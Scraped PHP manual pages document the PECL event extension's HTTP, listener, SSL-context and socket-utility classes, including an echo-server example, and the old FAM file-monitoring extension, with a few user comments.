User Contributed Notes

There are no user contributed notes for this page.


Complete a chunked reply, freeing the request as appropriate

  • « EventHttpRequest::sendReplyChunk
  • EventHttpRequest::sendReplyStart »
  • PHP Manual
  • EventHttpRequest
  • Complete a chunked reply, freeing the request as appropriate

EventHttpRequest::sendReplyEnd

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate

Description

public void EventHttpRequest::sendReplyEnd ( void )

Complete a chunked reply, freeing the request as appropriate.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Initiate a chunked reply

  • « EventHttpRequest::sendReplyEnd
  • EventListener »
  • PHP Manual
  • EventHttpRequest
  • Initiate a chunked reply

EventHttpRequest::sendReplyStart

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyStart — Initiate a chunked reply

Description

public void EventHttpRequest::sendReplyStart ( int $code , string $reason )

Initiate a reply that uses Transfer-Encoding chunked .

This allows the caller to stream the reply back to the client and is useful when either not all of the reply data is immediately available or when sending very large replies.

The caller needs to supply data chunks with EventHttpRequest::sendReplyChunk() and complete the reply by calling EventHttpRequest::sendReplyEnd() .

Parameters

code

The HTTP response code to send.

reason

A brief message to send with the response code.

Return Values

No value is returned.

See Also

  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

User Contributed Notes

There are no user contributed notes for this page.


The EventListener class

(PECL event >= 1.5.0)

Introduction

Represents a connection listener.

Class synopsis

final EventListener {
/* Constants */
const integer OPT_LEAVE_SOCKETS_BLOCKING = 1 ;
const integer OPT_CLOSE_ON_FREE = 2 ;
const integer OPT_CLOSE_ON_EXEC = 4 ;
const integer OPT_REUSEABLE = 8 ;
const integer OPT_THREADSAFE = 16 ;
/* Properties */
public readonly int $fd ;
/* Methods */
public __construct ( EventBase $base , callable $cb , mixed $data , int $flags , int $backlog , mixed $target )
public bool disable ( void )
public bool enable ( void )
public void getBase ( void )
public static bool getSocketName ( string &$address [, mixed &$port ] )
public void setCallback ( callable $cb [, mixed $arg = NULL ] )
public void setErrorCallback ( string $cb )
}

Properties

fd

Numeric file descriptor of the underlying socket. (Added in event-1.6.0 .)

Predefined Constants

EventListener::OPT_LEAVE_SOCKETS_BLOCKING

By default Libevent turns underlying file descriptors, or sockets, to non-blocking mode. This flag tells to leave them non-blocking.

EventListener::OPT_CLOSE_ON_FREE

If this option is set, the connection listener closes its underlying socket when the EventListener object is freed.

EventListener::OPT_CLOSE_ON_EXEC

If this option is set, the connection listener sets the close-on-exec flag on the underlying listener socket. See platform documentation for fcntl and FD_CLOEXEC for more information.

EventListener::OPT_REUSEABLE

By default on some platforms, once a listener socket is closed, no other socket can bind to the same port until a while has passed. Setting this option makes Libevent mark the socket as reusable, so that once it is closed, another socket can be opened to listen on the same port.

EventListener::OPT_THREADSAFE

Allocate locks for the listener, so that it’s safe to use it from multiple threads.

Table of Contents

  • EventListener::__construct — Creates new connection listener associated with an event base
  • EventListener::disable — Disables an event connect listener object
  • EventListener::enable — Enables an event connect listener object
  • EventListener::getBase — Returns event base associated with the event listener
  • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound.
  • EventListener::setCallback — The setCallback purpose
  • EventListener::setErrorCallback — Set event listener's error callback

User Contributed Notes

There are no user contributed notes for this page.


Creates new connection listener associated with an event base

  • « EventListener
  • EventListener::disable »
  • PHP Manual
  • EventListener
  • Creates new connection listener associated with an event base

EventListener::__construct

(PECL event >= 1.2.6-beta)

EventListener::__construct — Creates new connection listener associated with an event base

Description

public EventListener::__construct ( EventBase $base , callable $cb , mixed $data , int $flags , int $backlog , mixed $target )

Creates new connection listener associated with an event base.

Parameters

base

Associated event base.

cb

A callable that will be invoked when new connection received.

data

Custom user data attached to cb .

flags

Bit mask of EventListener::OPT_* constants. See EventListener constants .

backlog

Controls the maximum number of pending connections that the network stack should allow to wait in a not-yet-accepted state at any time; see documentation for your system’s listen function for more details. If backlog is negative, Libevent tries to pick a good value for the backlog ; if it is zero, Event assumes that listen is already called on the socket( target )

target

May be string, socket resource, or a stream associated with a socket. In case if target is a string, the string will be parsed as network address. It will be interpreted as a UNIX domain socket path, if prefixed with 'unix:' , e.g. 'unix:/tmp/my.sock' .

Return Values

Returns EventListener object representing the event connection listener.

Changelog

Version | Description
1.5.0 | UNIX domain sockets' support added.

Examples

Example #1 EventListener::__construct() example

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php listener.php 9881
 *
 * 2) In another terminal window open up connection, e.g.:
 *
 * $ nc 127.0.0.1 9881
 *
 * 3) start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        $this->bev->free();
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer

        // Variant #1
        $bev->output->addBuffer($bev->input);

        /* Variant #2 */
        /*
        $input    = $bev->getInput();
        $output = $bev->getOutput();
        $output->addBuffer($input);
        */
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            //$bev->free();
            $this->__destruct();
        }
    }
}

class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($port) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        // Variant #1
        /*
        $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!socket_bind($this->socket, '0.0.0.0', $port)) {
            echo "Unable to bind socket\n";
            exit(1);
        }
        $this->listener = new EventListener($this->base,
            array($this, "acceptConnCallback"), $this->base,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, $this->socket);
         */

        // Variant #2
         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "0.0.0.0:$port");

        if (!$this->listener) {
            echo "Couldn't create listener";
            exit(1);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

$port = 9808;

if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

User Contributed Notes

There are no user contributed notes for this page.


Disables an event connect listener object

  • « EventListener::__construct
  • EventListener::enable »
  • PHP Manual
  • EventListener
  • Disables an event connect listener object

EventListener::disable

(PECL event >= 1.2.6-beta)

EventListener::disable — Disables an event connect listener object

Description

public bool EventListener::disable ( void )

Disables an event connect listener object

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventListener::enable() - Enables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Enables an event connect listener object

  • « EventListener::disable
  • EventListener::getBase »
  • PHP Manual
  • EventListener
  • Enables an event connect listener object

EventListener::enable

(PECL event >= 1.2.6-beta)

EventListener::enable — Enables an event connect listener object

Description

public bool EventListener::enable ( void )

Enables an event connect listener object

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventListener::disable() - Disables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the event listener

  • « EventListener::enable
  • EventListener::getSocketName »
  • PHP Manual
  • EventListener
  • Returns event base associated with the event listener

EventListener::getBase

(PECL event >= 1.2.6-beta)

EventListener::getBase — Returns event base associated with the event listener

Description

public void EventListener::getBase ( void )

Returns event base associated with the event listener.

Parameters

This function has no parameters.

Return Values

Returns event base associated with the event listener.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the listener's socket is bound.

  • « EventListener::getBase
  • EventListener::setCallback »
  • PHP Manual
  • EventListener
  • Retreives the current address to which the listener's socket is bound.

EventListener::getSocketName

(PECL event >= 1.5.0)

EventListener::getSocketName — Retreives the current address to which the listener's socket is bound.

Description

public static bool EventListener::getSocketName ( string &$address [, mixed &$port ] )

Retreives the current address to which the listener's socket is bound.

Parameters

address

Output parameter. IP-address depending on the socket address family.

port

Output parameter. The port the socket is bound to.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The setCallback purpose

  • « EventListener::getSocketName
  • EventListener::setErrorCallback »
  • PHP Manual
  • EventListener
  • The setCallback purpose

EventListener::setCallback

(PECL event >= 1.2.6-beta)

EventListener::setCallback — The setCallback purpose

Description

public void EventListener::setCallback ( callable $cb [, mixed $arg = NULL ] )

Adjust event connect listener's callback and optionally the callback argument.

Parameters

cb

The new callback for new connections. Ignored if NULL.

Should match the following prototype:

void callback ([ EventListener $listener = NULL [, mixed $fd = NULL [, array $address = NULL [, mixed $arg = NULL ]]]] )

listener

The EventListener object.

fd

The file descriptor or a resource associated with the listener.

address

Array of two elements: IP address and the server port.

arg

User custom data attached to the callback.

arg

Custom user data attached to the callback. Ignored if NULL.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set event listener's error callback

  • « EventListener::setCallback
  • EventSslContext »
  • PHP Manual
  • EventListener
  • Set event listener's error callback

EventListener::setErrorCallback

(PECL event >= 1.2.6-beta)

EventListener::setErrorCallback — Set event listener's error callback

Description

public void EventListener::setErrorCallback ( string $cb )

Set event listener's error callback

Parameters

cb

The error callback. Should match the following prototype:

void callback ([ EventListener $listener = NULL [, mixed $data = NULL ]] )

listener

The EventListener object.

data

User custom data attached to the callback.

Return Values

See Also

  • EventListener::setCallback() - The setCallback purpose

User Contributed Notes

There are no user contributed notes for this page.


The EventSslContext class

(PECL event >= 1.2.6-beta)

Introduction

Represents SSL_CTX structure. Provides methods and properties to configure the SSL context.

Class synopsis

final EventSslContext {
/* Constants */
const integer SSLv2_CLIENT_METHOD = 1 ;
const integer SSLv3_CLIENT_METHOD = 2 ;
const integer SSLv23_CLIENT_METHOD = 3 ;
const integer TLS_CLIENT_METHOD = 4 ;
const integer SSLv2_SERVER_METHOD = 5 ;
const integer SSLv3_SERVER_METHOD = 6 ;
const integer SSLv23_SERVER_METHOD = 7 ;
const integer TLS_SERVER_METHOD = 8 ;
const integer OPT_LOCAL_CERT = 1 ;
const integer OPT_LOCAL_PK = 2 ;
const integer OPT_PASSPHRASE = 3 ;
const integer OPT_CA_FILE = 4 ;
const integer OPT_CA_PATH = 5 ;
const integer OPT_ALLOW_SELF_SIGNED = 6 ;
const integer OPT_VERIFY_PEER = 7 ;
const integer OPT_VERIFY_DEPTH = 8 ;
const integer OPT_CIPHERS = 9 ;
/* Properties */
public string $local_cert ;
public string $local_pk ;
/* Methods */
public __construct ( string $method , string $options )
}

Properties

local_cert

Path to local certificate file on filesystem. It must be a PEM-encoded file which contains certificate. It can optionally contain the certificate chain of issuers.

local_pk

Path to local private key file

Predefined Constants

EventSslContext::SSLv2_CLIENT_METHOD

SSLv2 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_CLIENT_METHOD

SSLv3 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_CLIENT_METHOD

SSLv23 client method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_CLIENT_METHOD

TLS client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv2_SERVER_METHOD

SSLv2 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_SERVER_METHOD

SSLv3 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_SERVER_METHOD

SSLv23 server method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_SERVER_METHOD

TLS server method. See SSL_CTX_new(3) man page.

EventSslContext::OPT_LOCAL_CERT

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of local certificate.

EventSslContext::OPT_LOCAL_PK

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of the private key.

EventSslContext::OPT_PASSPHRASE

Key for an item of the options' array used in EventSslContext::__construct() . Represents passphrase of the certificate.

EventSslContext::OPT_CA_FILE

Key for an item of the options' array used in EventSslContext::__construct() . Represents path of the certificate authority file.

EventSslContext::OPT_CA_PATH

Key for an item of the options' array used in EventSslContext::__construct() . Represents path where the certificate authority file should be searched for.

EventSslContext::OPT_ALLOW_SELF_SIGNED

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that allows self-signed certificates.

EventSslContext::OPT_VERIFY_PEER

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that tells Event to verify peer.

EventSslContext::OPT_VERIFY_DEPTH

Key for an item of the options' array used in EventSslContext::__construct() . Represents maximum depth for the certificate chain verification that shall be allowed for the SSL context.

EventSslContext::OPT_CIPHERS

Key for an item of the options' array used in EventSslContext::__construct() . Represents the cipher list for the SSL context.

Table of Contents

  • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

User Contributed Notes

There are no user contributed notes for this page.


Constructs an OpenSSL context for use with Event classes

  • « EventSslContext
  • EventUtil »
  • PHP Manual
  • EventSslContext
  • Constructs an OpenSSL context for use with Event classes

EventSslContext::__construct

(PECL event >= 1.2.6-beta)

EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

Description

public EventSslContext::__construct ( string $method , string $options )

Creates SSL context holding pointer to SSL_CTX (see the system manual).

Parameters

method

One of EventSslContext::*_METHOD constants .

options

Associative array of SSL context options One of EventSslContext::OPT_* constants .

Return Values

Returns EventSslContext object.

Examples

Example #1 EventSslContext::__construct() example

<?php
$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array(
     EventSslContext::OPT_LOCAL_CERT        => $local_cert,
     EventSslContext::OPT_LOCAL_PK          => $local_pk,
     EventSslContext::OPT_PASSPHRASE        => "echo server",
     EventSslContext::OPT_VERIFY_PEER       => true,
     EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));
?>

User Contributed Notes

There are no user contributed notes for this page.


The EventUtil class

(PECL event >= 1.5.0)

Introduction

EventUtil is a singleton with supplimentary methods and constants.

Class synopsis

final EventUtil {
/* Constants */
const integer AF_INET = 2 ;
const integer AF_INET6 = 10 ;
const integer AF_UNSPEC = 0 ;
const integer LIBEVENT_VERSION_NUMBER = 33559808 ;
const integer SO_DEBUG = 1 ;
const integer SO_REUSEADDR = 2 ;
const integer SO_KEEPALIVE = 9 ;
const integer SO_DONTROUTE = 5 ;
const integer SO_LINGER = 13 ;
const integer SO_BROADCAST = 6 ;
const integer SO_OOBINLINE = 10 ;
const integer SO_SNDBUF = 7 ;
const integer SO_RCVBUF = 8 ;
const integer SO_SNDLOWAT = 19 ;
const integer SO_RCVLOWAT = 18 ;
const integer SO_SNDTIMEO = 21 ;
const integer SO_RCVTIMEO = 20 ;
const integer SO_TYPE = 3 ;
const integer SO_ERROR = 4 ;
const integer SOL_SOCKET = 1 ;
const integer SOL_TCP = 6 ;
const integer SOL_UDP = 17 ;
const integer IPPROTO_IP = 0 ;
const integer IPPROTO_IPV6 = 41 ;
/* Methods */
abstract public __construct ( void )
public static int getLastSocketErrno ([ mixed $socket = NULL ] )
public static string getLastSocketError ([ mixed $socket ] )
public static int getSocketFd ( mixed $socket )
public static bool getSocketName ( mixed $socket , string &$address [, mixed &$port ] )
public static bool setSocketOption ( mixed $socket , int $level , int $optname , mixed $optval )
public static void sslRandPoll ( void )
}

Predefined Constants

EventUtil::AF_INET

IPv4 address family

EventUtil::AF_INET6

IPv6 address family

EventUtil::AF_UNSPEC

Unspecified IP address family

EventUtil::SO_DEBUG

Socket option. Enable socket debugging. Only allowed for processes with the CAP_NET_ADMIN capability or an effective user ID of 0 . (Added in event-1.6.0.)

EventUtil::SO_REUSEADDR

Socket option. Indicates that the rules used in validating addresses supplied in a bind(2) call should allow reuse of local addresses. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_KEEPALIVE

Socket option. Enable sending of keep-alive messages on connection-oriented sockets. Expects an integer boolean flag. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_DONTROUTE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_LINGER

Socket option. When enabled, a close(2) or shutdown(2) will not return until all queued messages for the socket have been successfully sent or the linger timeout has been reached. Otherwise, the call returns immediately and the closing is done in the background. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_BROADCAST

Socket option. Reports whether transmission of broadcast messages is supported. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_OOBINLINE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_TYPE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_ERROR

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_SOCKET

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_TCP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_UDP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IP

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IPV6

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::LIBEVENT_VERSION_NUMBER

Libevent' version number at the time when Event extension had been compiled with the library.

Table of Contents

  • EventUtil::__construct — The abstract constructor
  • EventUtil::getLastSocketErrno — Returns the most recent socket error number
  • EventUtil::getLastSocketError — Returns the most recent socket error
  • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
  • EventUtil::getSocketName — Retreives the current address to which the socket is bound.
  • EventUtil::setSocketOption — Sets socket options
  • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

There are no user contributed notes for this page.


The abstract constructor

  • « EventUtil
  • EventUtil::getLastSocketErrno »
  • PHP Manual
  • EventUtil
  • The abstract constructor

EventUtil::__construct

(PECL event >= 1.2.6-beta)

EventUtil::__construct — The abstract constructor

Description

abstract public EventUtil::__construct ( void )

EventUtil is a singleton. Therefore the constructor is abstract, and it is impossible to create objects based on this class.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error number

  • « EventUtil::__construct
  • EventUtil::getLastSocketError »
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error number

EventUtil::getLastSocketErrno

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketErrno — Returns the most recent socket error number

Description

public static int EventUtil::getLastSocketErrno ([ mixed $socket = NULL ] )

Returns the most recent socket error number( errno ).

Parameters

socket

Socket resource, stream or a file descriptor of a socket.

Return Values

Returns the most recent socket error number( errno ).

See Also

  • EventUtil::getLastSocketError() - Returns the most recent socket error

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error

  • « EventUtil::getLastSocketErrno
  • EventUtil::getSocketFd »
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error

EventUtil::getLastSocketError

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketError — Returns the most recent socket error

Description

public static string EventUtil::getLastSocketError ([ mixed $socket ] )

Returns the most recent socket error.

Parameters

socket

Socket resource, stream or a file descriptor of a socket.

Return Values

Returns the most recent socket error.

See Also

  • EventUtil::getLastSocketErrno() - Returns the most recent socket error number

User Contributed Notes

There are no user contributed notes for this page.


Returns numeric file descriptor of a socket, or stream

  • « EventUtil::getLastSocketError
  • EventUtil::getSocketName »
  • PHP Manual
  • EventUtil
  • Returns numeric file descriptor of a socket, or stream

EventUtil::getSocketFd

(PECL event >= 1.7.0)

EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream

Description

public static int EventUtil::getSocketFd ( mixed $socket )

Returns numeric file descriptor of a socket or stream specified by socket argument just like the Event extension does it internally for all methods accepting socket resource or stream.

Parameters

socket

Socket resource or stream.

Return Values

Returns TRUE on success. Otherwise FALSE. EventUtil::getSocketFd() returns FALSE in case if it is whether failed to recognize the type of the underlying file, or detected that the file descriptor associated with socket is not valid.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the socket is bound.

  • « EventUtil::getSocketFd
  • EventUtil::setSocketOption »
  • PHP Manual
  • EventUtil
  • Retreives the current address to which the socket is bound.

EventUtil::getSocketName

(PECL event >= 1.5.0)

EventUtil::getSocketName — Retreives the current address to which the socket is bound.

Description

public static bool EventUtil::getSocketName ( mixed $socket , string &$address [, mixed &$port ] )

Retreives the current address to which the socket is bound.

Parameters

socket

Socket resource, stream or a file descriptor of a socket.

address

Output parameter. IP-address, or the UNIX domain socket path depending on the socket address family.

port

Output parameter. The port the socket is bound to. Has no meaning for UNIX domain sockets.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Sets socket options

  • « EventUtil::getSocketName
  • EventUtil::sslRandPoll »
  • PHP Manual
  • EventUtil
  • Sets socket options

EventUtil::setSocketOption

(PECL event >= 1.6.0)

EventUtil::setSocketOption — Sets socket options

Description

public static bool EventUtil::setSocketOption ( mixed $socket , int $level , int $optname , mixed $optval )

Sets socket options.

Parameters

socket

Socket resource, stream, or numeric file descriptor associated with the socket.

level

One of EventUtil::SOL_* constants. Specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of EventUtil::SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function. See EventUtil constants .

optname

Option name(type). Has the same meaning as corresponding parameter of socket_get_option() function. See EventUtil constants .

optval

Accepts the same values as optval parameter of the socket_get_option() function.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • socket_get_option() - Gets socket options for the socket
  • socket_set_option() - Sets socket options for the socket

User Contributed Notes

There are no user contributed notes for this page.


Generates entropy by means of OpenSSL's RAND_poll()

  • « EventUtil::setSocketOption
  • FAM »
  • PHP Manual
  • EventUtil
  • Generates entropy by means of OpenSSL's RAND_poll()

EventUtil::sslRandPoll

(PECL event >= 1.2.6-beta)

EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

Description

public static void EventUtil::sslRandPoll ( void )

Generates entropy by means of OpenSSL's RAND_poll() (see the system manual).

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


File Alteration Monitor

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FAM Functions
    • fam_cancel_monitor — Terminate monitoring
    • fam_close — Close FAM connection
    • fam_monitor_collection — Monitor a collection of files in a directory for changes
    • fam_monitor_directory — Monitor a directory for changes
    • fam_monitor_file — Monitor a regular file for changes
    • fam_next_event — Get next pending FAM event
    • fam_open — Open connection to FAM daemon
    • fam_pending — Check for pending FAM events
    • fam_resume_monitor — Resume suspended monitoring
    • fam_suspend_monitor — Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.


Introduction

FAM monitors files and directories, notifying interested applications of changes. More information about FAM is available at » http://oss.sgi.com/projects/fam/.

A PHP script may specify a list of files for FAM to monitor using the functions provided by this extension.

The FAM process is started when the first connection from any application to it is opened. It exits after all connections to it have been closed.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension uses the functions of the » FAM library, developed by SGI. Therefore you have to download and install the FAM library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/fam.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are two resource types used in the FAM module. The first one is the connection to the FAM service returned by fam_open(), the second a monitoring resource returned by the fam_monitor_XXX functions.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FAM event constants
Constant | Description
FAMChanged (integer) | Some value which can be obtained with fstat(1) changed for a file or directory.
FAMDeleted (integer) | A file or directory was deleted or renamed.
FAMStartExecuting (integer) | An executable file started executing.
FAMStopExecuting (integer) | An executable file that was running finished.
FAMCreated (integer) | A file was created in a directory.
FAMMoved (integer) | This event never occurs.
FAMAcknowledge (integer) | An event in response to fam_cancel_monitor().
FAMExists (integer) | An event upon request to monitor a file or directory. When a directory is monitored, an event for that directory and every file contained in that directory is issued.
FAMEndExist (integer) | Event after the last FAMEExists event.

User Contributed Notes

f dot knodt at yotaweb dot de 26-Feb-2009 10:31
Corresponding integer values:

FAMChanged          1
FAMDeleted          2
FAMStartExecuting   3
FAMStopExecuting    4
FAMCreated          5
FAMMoved            6
FAMAcknowledge      7
FAMExists           8
FAMEndExist         9


FAM Functions

Table of Contents

  • fam_cancel_monitor — Terminate monitoring
  • fam_close — Close FAM connection
  • fam_monitor_collection — Monitor a collection of files in a directory for changes
  • fam_monitor_directory — Monitor a directory for changes
  • fam_monitor_file — Monitor a regular file for changes
  • fam_next_event — Get next pending FAM event
  • fam_open — Open connection to FAM daemon
  • fam_pending — Check for pending FAM events
  • fam_resume_monitor — Resume suspended monitoring
  • fam_suspend_monitor — Temporarily suspend monitoring

User Contributed Notes

Yassin Ezbakhe <yassin88 at gmail dot com> 01-Sep-2005 01:16
I make a VERY simple class that monitors a folder (and its subfolders) for new or removed files. I use it in order to auto index a folder where I have all my eBooks into a MySQL database.

CLASS FILE:

<?php
class FileAlterationMonitor
{
    private $scanFolder, $initialFoundFiles;

    public function __construct($scanFolder)
    {
        $this->scanFolder = $scanFolder;
        $this->updateMonitor();
    }

    private function _arrayValuesRecursive($array)
    {
        $arrayValues = array();

        foreach ($array as $value)
        {
            if (is_scalar($value) OR is_resource($value))
            {
                 $arrayValues[] = $value;
            }
            elseif (is_array($value))
            {
                 $arrayValues = array_merge( $arrayValues, $this->_arrayValuesRecursive($value));
            }
        }

        return $arrayValues;
    }

    private function _scanDirRecursive($directory)
    {
        $folderContents = array();
        $directory = realpath($directory).DIRECTORY_SEPARATOR;

        foreach (scandir($directory) as $folderItem)
        {
            if ($folderItem != "." AND $folderItem != "..")
            {
                if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
                {
                    $folderContents[$folderItem] = $this->_scanDirRecursive( $directory.$folderItem."\\");
                }
                else
                {
                    $folderContents[] = $folderItem;
                }
            }
        }

        return $folderContents;
    }

    public function getNewFiles()
    {
        $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

        if ($this->initialFoundFiles != $finalFoundFiles)
        {
            $newFiles = array_diff($finalFoundFiles, $this->initialFoundFiles);
            return empty($newFiles) ? FALSE : $newFiles;
        }
    }

    public function getRemovedFiles()
    {
        $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

        if ($this->initialFoundFiles != $finalFoundFiles)
        {
            $removedFiles = array_diff( $this->initialFoundFiles, $finalFoundFiles);
            return empty($removedFiles) ? FALSE : $removedFiles;
        }
    }

    public function updateMonitor()
    {
        $this->initialFoundFiles = $this->_arrayValuesRecursive($this->_scanDirRecursive( $this->scanFolder));
    }
}
?>

A simple script that uses this class could be like this one (use it with PHP CLI):

<?php

$f = new FileAlterationMonitor($MY_FOLDER_TO_MONITOR)

while (TRUE)
{
    sleep(1);

    if ($newFiles = $f->getNewFiles())
    {
        // Code to handle new files
        // $newFiles is an array that contains added files
    }

    if ($removedFiles = $f->getRemovedFiles())
    {
        // Code to handle removed files
        // $newFiles is an array that contains removed files
    }

    $f->updateMonitor();
}
ca50015 at yahoo dot com 27-Nov-2004 06:17
if u want do recursive monitoring on directory tree,
dont use fam_monitor_directory()
try to use fam_monitor_collection() instead
:)
b e n a d l e r -at- g m x -d-o-t- net 11-Aug-2004 07:57
in the example above, I would not use the while(1) and sleep() functions, since then you're back at waiting and polling for file changes, which you were trying to avoid using fam.

Instead, you can use while(fam_next_event($resource)), which blocks until there is an event. No polling, no useless wasting of cpu  cycles.

Anyway, I have some problems with fam: It is very limited and almost useless.

